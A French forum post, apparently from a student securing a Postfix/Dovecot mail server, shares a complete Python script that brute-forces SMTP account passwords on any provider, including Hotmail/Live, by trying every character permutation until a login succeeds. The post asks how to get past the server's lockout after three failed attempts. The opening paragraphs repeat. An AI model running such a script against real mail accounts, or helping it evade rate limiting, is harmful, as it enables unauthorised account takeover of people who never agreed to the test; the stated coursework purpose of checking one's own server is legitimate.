Bonjour à tous, je poste ce message car j'ai un petit souci :
Dans le cadre de mes études je suis en train d'installer un serveur de messagerie (Postfix+Dovecot) avec identification par LDAP. Dans un souci de sécurité, mon professeur m'a demandé de sécuriser le serveur. J'ai donc mis les choses habituelles (pare-feu, AV, ...) mais il aimerait que je lui prouve que personne ne peut trouver les mots de passe avec une attaque bruteforce.
J'ai donc fait un script python sur la chose pour tester. Malheureusement, au bout de trois essais, le serveur SMTP rejette ma connexion. Y a-t-il un moyen d’empêcher ce rejet ? J'ai essayé avec le module time de faire des requêtes avec un délai aléatoire (en ms) mais cela ne marche pas, j'ai donc enlevé la fonctionnalité du script.
Voici le script en question :
PS : je sais, le code aurait pu être mieux optimisé : j'y travaille encore.
Merci d'avance de vos réponses
Dans le cadre de mes études je suis en train d'installer un serveur de messagerie (Postfix+Dovecot) avec identification par LDAP. Dans un souci de sécurité, mon professeur m'a demandé de sécuriser le serveur. J'ai donc mis les choses habituelles (pare-feu, AV, ...) mais il aimerait que je lui prouve que personne ne peut trouver les mots de passe avec une attaque bruteforce.
J'ai donc fait un script python sur la chose pour tester. Malheureusement, au bout de trois essais, le serveur SMTP rejette ma connexion. Y a-t-il un moyen d’empêcher ce rejet ? J'ai essayé avec le module time de faire des requêtes avec un délai aléatoire (en ms) mais cela ne marche pas, j'ai donc enlevé la fonctionnalité du script.
Voici le script en question :
Code:
# -*- coding: cp1252 -*- # ########################################### # BRUTEFORCE DE MOTS DE PASSE SERVEURS SMTP # # ########################################### # Importation des modules necessaires import smtplib, time from itertools import permutations # definition de plusieurs variables et liste de caracteres ChoixListe = int() minuscules = 'abcdefghijklmnopqrstuvwxyz' MAJUSCULES = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' numeros = '0123456789' special = '&é"-è_çà$ù,;:!' Liste = '' n = 1 # Presentation du menu print('BRUTEFORCE DE MOTS DE PASSE SERVEURS SMTP\n\nVeuillez choisir la liste de mot de passe à générer\n1- minuscules uniquement') print('2- majuscules et minuscules\n3- minuscules et chiffres\n4- minuscules & majuscules & chiffres\n5- tout type de caractères') # On demande le choix des caracteres contenus dans le mot de passe while not 1<=ChoixListe<=5 : try : ChoixListe = int(input('=> ')) a = 0 except : # En cas d'erreur on recommence à demander print('Veuillez choisir un NUMERO entre 1 et 5') # Creation de la liste personnalisee if ChoixListe == 1 : Liste = minuscules elif ChoixListe == 2 : Liste = minuscules + MAJUSCULES elif ChoixListe == 3 : Liste = numeros + minuscules elif ChoixListe == 4 : Liste = minuscules + numeros + MAJUSCULES elif ChoixListe == 5 : Liste = minuscules + numeros + MAJUSCULES + special # On demande ou se trouve la boite mail fournisseur = raw_input('Chez quel fournisseur se trouve votre boite mail ?\nEx : example.local\n => ') if fournisseur == 'hotmail.fr': fournisseur == 'live.com' NomMail = raw_input('Nom du mail : ') try : # tentative de connexion Connexion = smtplib.SMTP('smtp.'+str(fournisseur), 587) except : try : Connexion = smtplib.SMTP('smtp.'+str(fournisseur), 25) except : # Si la connexion ne marche pas on affiche un message d'erreur print('Erreur lors de la connexion au serveur') else : print('La connexion est effectuée sur le port 25') else : print('La connexion est effectuée sur le port 587') time.sleep(2) while True : # boucle infinie permettant de tester les mots de passe # jusqu'à trouver le bon for i in permutations(Liste, n) : # conversion du tuple en str j = ''.join(i) try: # tentative de login Connexion.login(NomMail, j) except : # si cela ne marche pas on recommence ... print(j) pass else : # si cela marche, on stocke le mot de passe et on sort de la boucle MotPasse = i break # sinon on incrémente n n += 1 # Et si jamais on sort de la boucle : # AFFICHAGE DU MOT DE PASSE : Faille print('Nom de compte : '+str(NomMail)+' '+str(fournisseur)) print('Mot de passe : '+str(MotPasse))
Merci d'avance de vos réponses
Commentaire